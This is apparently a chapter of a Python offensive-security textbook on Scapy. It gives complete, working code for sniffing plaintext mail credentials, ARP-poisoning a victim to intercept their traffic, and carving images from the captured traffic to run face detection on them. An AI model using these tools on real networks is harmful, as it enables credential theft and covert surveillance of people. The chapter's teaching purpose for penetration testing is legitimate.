4
OWNING THE NETWORK WITH SCAPY



Occasionally, you run into such a well-thought-out, amazing Python library that even dedicating a whole chapter to it can't do it justice. Philippe Biondi has created such a library in the packet manipulation library Scapy. You just might finish this chapter and realize we made you do a lot of work in the previous two chapters to accomplish what you could have done with just one or two lines of Scapy.

Scapy is powerful and flexible, and its possibilities are almost infinite. We'll get a taste of things by sniffing traffic to steal plaintext email credentials and then ARP poisoning a target machine on the network so that we can sniff their traffic. We'll wrap things up by extending Scapy's pcap processing to carve out images from HTTP traffic and then perform facial detection on them to determine if there are humans present in the images.

We recommend that you use Scapy under a Linux system, as it was designed to work with Linux in mind. The newest version of Scapy does support Windows, but for the purpose of this chapter we will assume you are using your Kali virtual machine (VM) with a fully

functioning Scapy installation. If you don't have Scapy, head on over to *https://scapy.net/* to install it.

Now, suppose you have infiltrated a target's local area network (LAN). You can sniff the traffic on the local network with the techniques you'll learn in this chapter.

Stealing Email Credentials

You've already spent some time getting into the nuts and bolts of sniffing in Python. Let's get to know Scapy's interface for sniffing packets and dissecting their contents. We'll build a very simple sniffer to capture Simple Mail Transport Protocol (SMTP), Post Office Protocol (POP3), and Internet Message Access Protocol (IMAP) credentials. Later, by coupling the sniffer with the Address Resolution Protocol (ARP) poisoning man-in-the-middle (MITM) attack, we can easily steal credentials from other machines on the network. This technique can, of course, be applied to any protocol, or to simply suck in all traffic and store it in a pcap file for analysis, which we will also demonstrate.

To get a feel for Scapy, let's start by building a skeleton sniffer that simply dissects and dumps out the packets. The aptly named `sniff` function looks like the following:

```
sniff(filter="",iface="any",prn=function,count=N)
```

The `filter` parameter allows us to specify a Berkeley Packet Filter (BPF) filter to the packets that Scapy sniffs, which can be left blank to sniff all packets. For example, to sniff all HTTP packets, you would use a BPF filter of `tcp port 80`. The `iface` parameter tells the sniffer which network interface to sniff on; if it is left blank, Scapy will sniff on all interfaces. The `prn` parameter specifies a callback function to be called for every packet that matches the filter, and the callback function receives the packet object as its single parameter. The `count` parameter specifies how many packets you want to sniff; if it is left blank, Scapy will sniff indefinitely.

Let's start by creating a simple sniffer that sniffs a packet and dumps its contents. We'll then expand it to sniff only email-related commands. Crack open *mail_sniffer.py* and jam out the following code:

```
from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(prn=packet_callback, count=1)

if __name__ == '__main__':
    main()
```

We start by defining the callback function that will receive each sniffed packet 1 and then simply tell Scapy to start sniffing 2 on all interfaces with no filtering. Now let's run the script, and you should see output similar to the following:

```
$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py
 ###[ Ethernet ]###
  dst       = 42:26:19:1a:31:64
  src       = 00:0c:29:39:46:7e
  type      = IPv6
###[ IPv6 ]###
     version   = 6
     tc        = 0
     fl        = 661536
     plen      = 51
     nh        = UDP
     hlim      = 255
     src       = fe80::20c:29ff:fe39:467e
     dst       = fe80::1079:9d3f:d4a8:defb
###[ UDP ]###
        sport     = 42638
        dport     = domain
        len       = 51
        chksum    = 0xcf66
###[ DNS ]###
           id        = 22299
           qr        = 0
           opcode    = QUERY
```

```
aa        = 0
tc        = 0
rd        = 1
ra        = 0
z         = 0
ad        = 0
cd        = 0
rcode     = ok
qdcount   = 1
ancount   = 0
nscount   = 0
arcount   = 0
\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'vortex.data.microsoft.com.'
 |  qtype     = A
 |  qclass    = IN
an        = None
ns        = None
ar        = None
```

How incredibly easy was that! We can see that when the first packet was received on the network, the callback function used the built-in function `packet.show` to display the packet contents and dissect some of the protocol information. Using `show` is a great way to debug scripts as you are going along to make sure you are capturing the output you want.

Now that we have the basic sniffer running, let's apply a filter and add some logic to the callback function to peel out email-related authentication strings.

In the following example we'll use a packet filter so that the sniffer displays only the packets we're interested in. We'll use BPF syntax, also called *Wireshark style*, to do so. You'll encounter this syntax with tools like tcpdump, as well as in the packet capture filters used with Wireshark.

Let's cover the basic syntax of the BPF filter. There are three types of information you can use in your filter. You can specify a descriptor (like a specific host, interface, or port), the direction of traffic flow, and the protocol, as shown in *Table 4-1*. You can include or omit the

type, direction, and protocol, depending on what you want to see in the sniffed packets.

Table 4-1: *BPF Filter Syntax*

Expression	Description	Sample filter keywords
Descriptor	What you are looking for	`host`, `net`, `port`
Direction	Direction of travel	`src`, `dst`, `src or dst`
Protocol	Protocol used to send traffic	`ip`, `ip6`, `tcp`, `udp`

For example, the expression `src 192.168.1.100` specifies a filter that captures only packets originating on machine 192.168.1.100. The opposite filter is `dst 192.168.1.100`, which captures only packets with a destination of 192.168.1.100. Likewise, the expression `tcp port 110 or tcp port 25` specifies a filter that will pass only TCP packets coming from or going to port 110 or 25. Now let's write a specific sniffer using BPF syntax in our example:

```
from scapy.all import sniff, TCP, IP

# the packet callback
def packet_callback(packet):
 1 if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
    2 if 'user' in mypacket.lower() or 'pass' in
mypacket.lower():
          print(f"[*] Destination: {packet[IP].dst}")
        3 print(f"[*] {str(packet[TCP].payload)}")

def main():
    # fire up the sniffer
 4 sniff(filter='tcp port 110 or tcp port 25 or tcp port
143',
            prn=packet_callback, store=0)

if __name__ == '__main__':
    main()
```

Pretty straightforward stuff here. We changed the `sniff` function to add a BPF filter that includes only traffic destined for the common

mail ports 110 (POP3), 143 (IMAP), and 25 (SMTP) 4. We also used a new parameter called `store`, which, when set to 0, ensures that Scapy isn't keeping the packets in memory. It's a good idea to use this parameter if you intend to leave a long-term sniffer running, because then you won't be consuming vast amounts of RAM. When the callback function is called, we check to make sure it has a data payload 1 and whether the payload contains the typical `USER` or `PASS` mail command 2. If we detect an authentication string, we print out the server we are sending it to and the actual data bytes of the packet 3.

Kicking the Tires

Here is some sample output from a dummy email account the authors attempted to connect a mail client to:

```
(bhp) root@kali:/home/tim/bhp/bhp# python mail_sniffer.py
[*] Destination: 192.168.1.207
[*] b'USER tim\n'
[*] Destination: 192.168.1.207
[*] b'PASS 1234567\n'
```

You can see that our mail client is attempting to log in to the server at 192.168.1.207 and send the plaintext credentials over the wire. This is a really simple example of how you can take a Scapy sniffing script and turn it into a useful tool during penetration tests. The script works for mail traffic because we designed the BPF filter to focus on the mail-related ports. You can change that filter to monitor other traffic; for example, change it to `tcp port 21` to watch for FTP connections and credentials.

Sniffing your own traffic might be fun, but it's always better to sniff with a friend; let's take a look at how you can perform an ARP poisoning attack to sniff the traffic of a target machine on the same network.

ARP Cache Poisoning with Scapy

ARP poisoning is one of the oldest yet most effective tricks in a hacker's toolkit. Quite simply, we will convince a target machine that we have become its gateway, and we will also convince the gateway that in order to reach the target machine, all traffic has to go through us. Every computer on a network maintains an ARP cache that stores the most recent media access control (MAC) addresses matching the IP addresses on the local network. We'll poison this cache with entries that we control to achieve this attack. Because the Address Resolution Protocol, and ARP poisoning in general, is covered in numerous other materials, we'll leave it to you to do any necessary research to understand how this attack works at a lower level.

Now that we know what we need to do, let's put it into practice. When the authors tested this, we attacked a real Mac machine from a Kali VM. We have also tested this code against various mobile devices connected to a wireless access point, and it worked great. The first thing we'll do is check the ARP cache on the target Mac machine so we can see the attack in action later on. Examine the following to see how to inspect the ARP cache on your Mac:

```
MacBook-Pro:~ victim$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST>
mtu 1500
ether 38:f9:d3:63:5c:48
inet6 fe80::4bc:91d7:29ee:51d8%en0 prefixlen 64 secured
scopeid 0x6
inet 192.168.1.193 netmask 0xffffff00 broadcast 192.168.1.255
inet6 2600:1700:c1a0:6ee0:1844:8b1c:7fe0:79c8 prefixlen 64
autoconf secured
inet6 2600:1700:c1a0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64
autoconf temporary
inet6 2600:1700:c1a0:6ee0::31 prefixlen 64 dynamic
nd6 options=201<PERFORMNUD,DAD>
media: autoselect
status: active
```

The `ifconfig` command displays the network configuration for the specified interface (here, it's `en0`) or for all interfaces if you don't specify one. The output shows that the `inet` (IPv4) address for the device is `192.168.1.193`. Also listed are the MAC address

(`38:f9:d3:63:5c:48`, labeled as `ether`) and a few IPv6 addresses. ARP poisoning works only for IPv4 addresses, so we'll ignore the IPv6 ones.

Now let's see what the Mac has in its ARP address cache. The following shows what it thinks the MAC addresses are for its neighbors on the network:

```
MacBook-Pro:~ victim$ arp -a
1 kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on en0
  ifscope
2 dsldevice.attlocal.net (192.168.1.254) at 20:e5:64:c0:76:d0 on
  en0 ifscope
  ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope
  [ethernet]
```

We can see that the IP address of the Kali machine belonging to the attacker 1 is `192.168.1.203` and its MAC address is `a4:5e:60:ee:17:5d`. The gateway connects both attacker and victim machines to the internet. Its IP address 2 is at `192.168.1.254` and its associated ARP cache entry has a MAC address of `20:e5:64:c0:76:d0`. We will take note of these values because we can view the ARP cache while the attack is occurring and see that we have changed the gateway's registered MAC address. Now that we know the gateway and the target IP address, let's begin coding the ARP poisoning script. Open a new Python file, call it *arper.py*, and enter the following code. We'll start by stubbing out the skeleton of the file to give you a sense of how we'll construct the poisoner:

```
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
                       send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

1 def get_mac(targetip):
      pass

class Arper:
      def __init__(self, victim, gateway, interface='en0'):
```

```
        pass

    def run(self):
        pass

2 def poison(self):
        pass

3 def sniff(self, count=200):
        pass

4 def restore(self):
        pass

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2],
sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()
```

As you can see, we'll define a helper function to get the MAC address for any given machine 1 and an `Arper` class to `poison`2, `sniff`3, and `restore`4 the network settings. Let's fill out each section, starting with the `get_mac` function, which returns a MAC address for a given IP address. We need the MAC addresses of the victim and the gateway.

```
def get_mac(targetip):
 1 packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has",
pdst=targetip)
 2 resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
```

We pass in the target IP address and create a packet 1. The `Ether` function specifies that this packet is to be broadcast, and the `ARP` function specifies the request for the MAC address, asking each node whether it has the target IP. We send the packet with the Scapy function `srp`2, which sends and receives a packet on network layer

2. We get the answer in the `resp` variable, which should contain the Ether layer source (the MAC address) for the target IP.

Next, let's begin writing the `Arper` class:

```
class Arper():
 1 def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

    2 print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at
{self.gatewaymac}.')
        print(f'Victim ({victim}) is at {self.victimmac}.')
        print('-'*30)
```

We initialize the class with the victim and gateway IPs and specify the interface to use (`en0` is the default) 1. With this info, we populate the object variables `interface`, `victim`, `victimmac`, `gateway`, and `gatewaymac`, printing the values to the console 2.

Within the `Arper` class we write the `run` function, which is the entry point for the attack:

```
    def run(self):
     1 self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

     2 self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()
```

The `run` method performs the main work of the `Arper` object. It sets up and runs two processes: one to poison the ARP cache 1 and another so we can watch the attack in progress by sniffing the network traffic 2.

The `poison` method creates the poisoned packets and sends them to the victim and the gateway:

```
    def poison(self):
     1 poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('-'*30)
     2 poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('-'*30)
        print(f'Beginning the ARP poison. [CTRL-C to stop]')
     3 while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
         4 except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)
```

The `poison` method sets up the data we'll use to poison the victim and the gateway. First, we create a poisoned ARP packet intended for the victim 1. Likewise, we create a poisoned ARP packet for the gateway 2. We poison the gateway by sending it the victim's IP

address but the attacker's MAC address. Likewise, we poison the victim by sending it the gateway's IP address but the attacker's MAC address. We print all of this information to the console so we can be sure of our packets' destinations and payloads.

Next, we start sending the poisoned packets to their destinations in an infinite loop to make sure that the respective ARP cache entries remain poisoned for the duration of the attack 3. The loop will continue until you press CTRL-C (`KeyboardInterrupt`) 4, in which case we restore things to normal (by sending the correct information to the victim and the gateway, undoing our poisoning attack).

In order to see and record the attack as it happens, we sniff the network traffic with the `sniff` method:

```
    def sniff(self, count=100):
     1 time.sleep(5)
        print(f'Sniffing {count} packets')
     2 bpf_filter = "ip host %s" % victim
     3 packets = sniff(count=count, filter=bpf_filter,
iface=self.interface)
     4 wrpcap('arper.pcap', packets)
        print('Got the packets')
     5 self.restore()
        self.poison_thread.terminate()
        print('Finished.')
```

The `sniff` method sleeps for five seconds 1 before it starts sniffing in order to give the poisoning thread time to start working. It sniffs for a number of packets (100 by default) 3, filtering for packets that have the victim's IP 2. Once we've captured the packets, we write them to a file called *arper.pcap*4, restore the ARP tables to their original values 5, and terminate the poison thread.

Finally, the `restore` method puts the victim and gateway machines back to their original state by sending correct ARP information to each machine:

```
    def restore(self):
        print('Restoring ARP tables...')
```

```
1 send(ARP(
        op=2,
        psrc=self.gateway,
        hwsrc=self.gatewaymac,
        pdst=self.victim,
        hwdst='ff:ff:ff:ff:ff:ff'),
        count=5)
2 send(ARP(
        op=2,
        psrc=self.victim,
        hwsrc=self.victimmac,
        pdst=self.gateway,
        hwdst='ff:ff:ff:ff:ff:ff'),
        count=5)
```

The `restore` method could be called from either the `poison` method (if you hit CTRL-C) or the `sniff` method (when the specified number of packets have been captured). It sends the original values for the gateway IP and MAC addresses to the victim 1, and it sends the original values for the victim's IP and MAC to the gateway 2.

Let's take this bad boy for a spin!

Kicking the Tires

Before we begin, we need to first tell the local host machine that we can forward packets along to both the gateway and the target IP address. If you are on your Kali VM, enter the following command into your terminal:

```
#:> echo 1 > /proc/sys/net/ipv4/ip_forward
```

If you are an Apple fanatic, use the following command:

```
#:> sudo sysctl -w net.inet.ip.forwarding=1
```

Now that we have IP forwarding in place, let's fire up the script and check the ARP cache of the target machine. From your attacking machine, run the following (as root):

```
#:> python arper.py 192.168.1.193 192.168.1.254 en0
Initialized en0:
Gateway (192.168.1.254) is at 20:e5:64:c0:76:d0.
Victim (192.168.1.193) is at 38:f9:d3:63:5c:48.
------------------------------
ip src: 192.168.1.254
ip dst: 192.168.1.193
mac dst: 38:f9:d3:63:5c:48
mac src: a4:5e:60:ee:17:5d
ARP is at a4:5e:60:ee:17:5d says 192.168.1.254
------------------------------
ip src: 192.168.1.193
ip dst: 192.168.1.254
mac dst: 20:e5:64:c0:76:d0
mac_src: a4:5e:60:ee:17:5d
ARP is at a4:5e:60:ee:17:5d says 192.168.1.193
------------------------------
Beginning the ARP poison. [CTRL-C to stop]
...Sniffing 100 packets
......Got the packets
Restoring ARP tables...
Finished.
```

Awesome! No errors or other weirdness. Now let's validate the attack on the target machine. While the script was in the process of capturing the 100 packets, we displayed the ARP table on the victim device with the `arp` command:

```
MacBook-Pro:~ victim$ arp -a
kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on en0
ifscope
dsldevice.attlocal.net (192.168.1.254) at a4:5e:60:ee:17:5d
on en0 ifscope
```

You can now see that the poor victim has a poisoned ARP cache, whereas the gateway now has the same MAC address as the attacking computer. You can clearly see in the entry above the gateway that we're attacking from `192.168.1.203`. When the attack has finished capturing packets, you should see an *arper.pcap* file in the same directory as your script. You can, of course, do things such as force the target computer to proxy all of its traffic through a local instance of Burp or do any number of other nasty things. You might

want to hang on to that pcap file for the next section on pcap processing—you never know what you might find!

pcap Processing

Wireshark and other tools like Network Miner are great for interactively exploring packet capture files, but at times you'll want to slice and dice pcap files using Python and Scapy. Some great use cases are generating fuzzing test cases based on captured network traffic or even something as simple as replaying traffic that you have previously captured.

We'll take a slightly different spin on this and attempt to carve out image files from HTTP traffic. With these image files in hand, we will use OpenCV (*http://www.opencv.org/*), computer vision tool, to attempt to detect images that contain human faces so that we can narrow down images that might be interesting. You can use the previous ARP poisoning script to generate the pcap files, or you could extend the ARP poisoning sniffer to do on-the-fly facial detection of images while the target is browsing.

This example will perform two separate tasks: carving images out of HTTP traffic and detecting faces in those images. To accommodate this, we'll create two programs so that you can choose to use them separately, depending on the task at hand. You could also use the programs in sequence, as we'll do here. The first program, *recapper.py*, analyzes a pcap file, locates any images that are present in the streams contained in the pcap file, and writes those images to disk. The second program, *detector.py*, analyzes each of those image files to determine if it contains a face. If it does, it writes a new image to disk, adding a box around each face in the image.

Let's get started by dropping in the code necessary to perform the pcap analysis. In the following code, we'll use a `namedtuple`, a Python data structure with fields accessible by attribute lookup. A standard tuple enables you to store a sequence of immutable values;

they’re almost like lists, except you can’t change a tuple’s value. The standard tuple uses numerical indexes to access its members:

```
point = (1.1, 2.5)
print(point[0], point[1]
```

A `namedtuple`, on the other hand, behaves the same as a regular tuple except that it can access fields through their names. This makes for much more readable code and is also more memory-efficient than a dictionary. The syntax to create a `namedtuple` requires two arguments: the tuple’s name and a space-separated list of field names. For example, say you want to create a data structure called `Point` with two attributes: `x` and `y`. You’d define it as follows:

```
Point = namedtuple('Point', ['x', 'y'])
```

Then you could create a `Point` object named `p` with the code `p = Point(35,65)`, for example, and refer to its attributes just like those of a class: `p.x` and `p.y` refer to the `x` and `y` attributes of a particular `Pointnamedtuple`. That is much easier to read than code referring to the index of some item in a regular tuple. In our example, say you create a `namedtuple` called `Response` with the following code:

```
Response = namedtuple('Response', ['header', 'payload'])
```

Now, instead of referring to an index of a normal tuple, you can use `Response.header` or `Response.payload`, which is much easier to understand.

Let’s use that information in this example. We’ll read a pcap file, reconstitute any images that were transferred, and write the images to disk. Open *recapper.py* and enter the following code:

```
from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib
```

```
1 OUTDIR = '/root/Desktop/pictures'
   PCAPS = '/root/Downloads'

2 Response = collections.namedtuple('Response', ['header',
   'payload'])

3 def get_header(payload):
      pass

4 def extract_content(Response, content_name='image'):
      pass

   class Recapper:
      def __init__(self, fname):
         pass
    5 def get_responses(self):
         pass

    6 def write(self, content_name):
         pass

   if __name__ == '__main__':
      pfile = os.path.join(PCAPS, 'pcap.pcap')
      recapper = Recapper(pfile)
      recapper.get_responses()
      recapper.write('image')
```

This is the main skeleton logic of the entire script, and we'll add in the supporting functions shortly. We set up the imports and then specify the location of the directory in which to output the images and the location of the pcap file to read 1. Then we define a `namedtuple` called `Response`to have two attributes: the packet `header` and packet `payload`2. We'll create two helper functions to get the packet header 3 and extract the contents 4 that we'll use with the `Recapper` class we'll define to reconstitute the images present in the packet stream. Besides `__init__`, the `Recapper` class will have two methods: `get_responses`, which will read responses from the pcap file 5, and `write`, which will write image files contained in the responses to the output directory 6.

Let's start filling out this script by writing the `get_header` function:

```
def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2] 1
    except ValueError:
        sys.stdout.write('-')
        sys.stdout.flush()
        return None 2

    header = dict(re.findall(r'(?P<name>.*?): (?
P<value>.*?)\r\n', header_raw.decode())) 3
    if 'Content-Type' not in header: 4
        return None
    return header
```

The `get_header` function takes the raw HTTP traffic and spits out the headers. We extract the header by looking for the portion of the payload that starts at the beginning and ends with a couple of carriage return and newline pairs 1. If the payload doesn't match that pattern, we'll get a `ValueError`, in which case we just write a dash (`-`) to the console and return 2. Otherwise, we create a dictionary (`header`) from the decoded payload, splitting on the colon so that the key is the part before the colon and the value is the part after the colon 3. If the header has no key called `Content-Type`, we return `None` to indicate that the header doesn't contain the data we want to extract 4. Now let's write a function to extract the content from the response:

```
def extract_content(Response, content_name='image'):
    content, content_type = None, None
 1 if content_name in Response.header['Content-Type']:
     2 content_type = Response.header['Content-
Type'].split('/')[1]
     3  content =
Response.payload[Response.payload.index(b'\r\n\r\n')+4:]

     4 if 'Content-Encoding' in Response.header:
            if Response.header['Content-Encoding'] == "gzip":
               content = zlib.decompress(Response.payload,
zlib.MAX_WBITS | 32)
            elif Response.header['Content-Encoding'] ==
```

```
"deflate":
                content = zlib.decompress(Response.payload)

 5 return content, content_type
```

The `extract_content` function takes the HTTP response and the name for the content type we want to extract. Recall that `Response` is a `namedtuple` with two parts: the header and the payload.

If the content has been encoded 4 with a tool like `gzip` or `deflate`, we decompress the content by using the `zlib` module. For any response that contains an image, the header will have the name `image` in the `Content-Type` attribute (for example, `image/png` or `image/jpg`) 1. When that occurs, we create a variable named `content_type` with the actual content type specified in the header 2. We create another variable to hold the content itself, which is everything in the payload after the header 3. Finally, we return a tuple of the `content` and `content_type`5.

With those two helper functions complete, let's fill out the `Recapper` methods:

```
class Recapper:
 1 def __init__(self, fname):
        pcap = rdpcap(fname)
    2 self.sessions = pcap.sessions()
    3 self.responses = list()
```

First, we initialize the object with the name of the pcap file we want to read 1. We take advantage of a beautiful feature of Scapy to automatically separate each TCP session 2 into a dictionary that contains each complete TCP stream. Finally, we create an empty list called `responses` that we're about to fill in with the responses from the pcap file 3.

In the `get_responses` method, we will traverse the packets to find each separate `Response` and add each one to the list of responses present in the packet stream:

```
    def get_responses(self):
     1 for session in self.sessions:
            payload = b''
         2 for packet in self.sessions[session]:
               try:
                3 if packet[TCP].dport == 80 or
packet[TCP].sport == 80:
                      payload += bytes(packet[TCP].payload)
               except IndexError:
                4 sys.stdout.write('x')
                   sys.stdout.flush()

          if payload:
           5 header = get_header(payload)
              if header is None:
                  continue
            6 self.responses.append(Response(header=header,
payload=payload))
```

In the `get_responses` method, we iterate over the `sessions` dictionary 1, then over the packets within each session 2. We filter the traffic so we get only packets with a destination or source port of 80 3. Then we concatenate the payload of all the traffic into a single buffer called `payload`. This is effectively the same as right-clicking a packet in Wireshark and selecting Follow TCP Stream. If we don't succeed in appending to the payload variable (most likely because there is no TCP in the packet), we print an `x` to the console and keep going 4.

Then, after we've reassembled the HTTP data, if the `payload` byte string is not empty, we pass it off to the HTTP header-parsing function `get_header`5, which enables us to inspect the HTTP headers individually. Next, we append the `Response` to the `responses` list 6.

Finally, we go through the list of responses and, if the response contains an image, we write the image to disk with the `write` method:

```
    def write(self, content_name):
     1 for i, response in enumerate(self.responses):
         2 content, content_type = extract_content(response,
```

```
content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f'ex_{i}.
{content_type}')
                print(f'Writing {fname}')
                with open(fname, 'wb') as f:
                 3 f.write(content)
```

With the extraction work complete, the `write` method has only to iterate over the responses 1, extract the content 2, and write that content to a file 3. The file is created in the output directory with the names formed by the counter from the `enumerate` built-in function and the `content_type` value. For example, a resulting image name might be *ex_2.jpg*. When we run the program, we create a `Recapper` object, call its `get_responses` method to find all the responses in the pcap file, and then write the extracted images from those responses to disk.

In the next program, we'll examine each image to determine whether it contains a human face. For each image that has a face, we'll write a new image to disk, adding a box around the face in the image. Open up a new file named *detector.py*:

```
import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
     1 if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)
        newname = os.path.join(tgtdir, fname)
     2 img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir,
'haarcascade_frontalface_alt.xml')
```

```
        3 cascade = cv2.CascadeClassifier(training)
          rects = cascade.detectMultiScale(gray, 1.3, 5)
          try:
           4 if rects.any():
                  print('Got a face')
               5 rects[:, 2:] += rects[:, :2]
          except AttributeError:
              print(f'No faces found in {fname}.')
              continue

          # highlight the faces in the image
          for x1, y1, x2, y2 in rects:
           6 cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255,
0), 2)
        7 cv2.imwrite(newname, img)

if    name  ==  '__main__':
    detect()
```

The `detect` function receives the source directory, the target directory, and the training directory as input. It iterates over the JPG files in the source directory. (Since we're looking for faces, the images are presumably photographs, so they're most likely saved as *.jpg* files 1.) We then read the image by using the OpenCV computer vision library `cv2`2, load the *detector* XML file, and create the `cv2` face detector object 3. This detector is a classifier that is trained in advance to detect faces in a front-facing orientation. OpenCV contains classifiers for profile (sideways) face detection, hands, fruit, and a whole host of other objects that you can try out for yourself. For images in which faces are found 4, the classifier will return the coordinates of a rectangle that corresponds to where the face was detected in the image. In that case, we print a message to the console, draw a green box around the face 6, and write the image to the output directory 7.

The `rects` data returned from the detector are of the form `(x, y, width, height)`, where `x, y` values provide the coordinates of the lower-left corner of the rectangle, and `width, height` values correspond to the width and height of the rectangle.

We use Python slice syntax 5 to convert from one form to another. That is, we convert the returned `rects` data to actual coordinates: `(x1, y1, x1+width, y1+height)` or `(x1, y1, x2, y2)`. This is the input format the `cv2.rectangle` method is expecting.

This code was generously shared by Chris Fidao at *http://www.fideloper.com/facial-detection/*. This example made slight modifications to the original. Now let's take this all for a spin inside your Kali VM.

Kicking the Tires

If you haven't first installed the OpenCV libraries, run the following commands (again, thank you, Chris Fidao) from a terminal in your Kali VM:

```
#:> apt-get install libopencv-dev python3-opencv python3-
numpy python3-scipy
```

This should install all of the necessary files needed to handle facial detection on the resulting images. We also need to grab the facial detection training file, like so:

```
#:> wget
http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.x
ml
```

Copy the downloaded file to the directory we specified in the `TRAIN` variable in *detector.py*. Now create a couple of directories for the output, drop in a pcap, and run the scripts. This should look something like the following:

```
#:> mkdir /root/Desktop/pictures
#:> mkdir /root/Desktop/faces
#:> python recapper.py
Extracted: 189 images
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx----------
----xx
Writing pictures/ex_2.gif
Writing pictures/ex_8.jpeg
```

```
Writing pictures/ex_9.jpeg
Writing pictures/ex_15.png
...
#:> python detector.py
Got a face
Got a face
...
#:>
```

You might see a number of error messages being produced by OpenCV because some of the images we fed into it may be corrupt or partially downloaded or their format might not be supported. (We'll leave building a robust image extraction and validation routine as a homework assignment for you.) If you crack open your *faces* directory, you should see several files with faces and magic green boxes drawn around them.

This technique can be used to determine what types of content your target is looking at, as well as to discover likely approaches via social engineering. You can, of course, extend this example beyond using it against carved images from pcaps and use it in conjunction with web crawling and parsing techniques described in later chapters.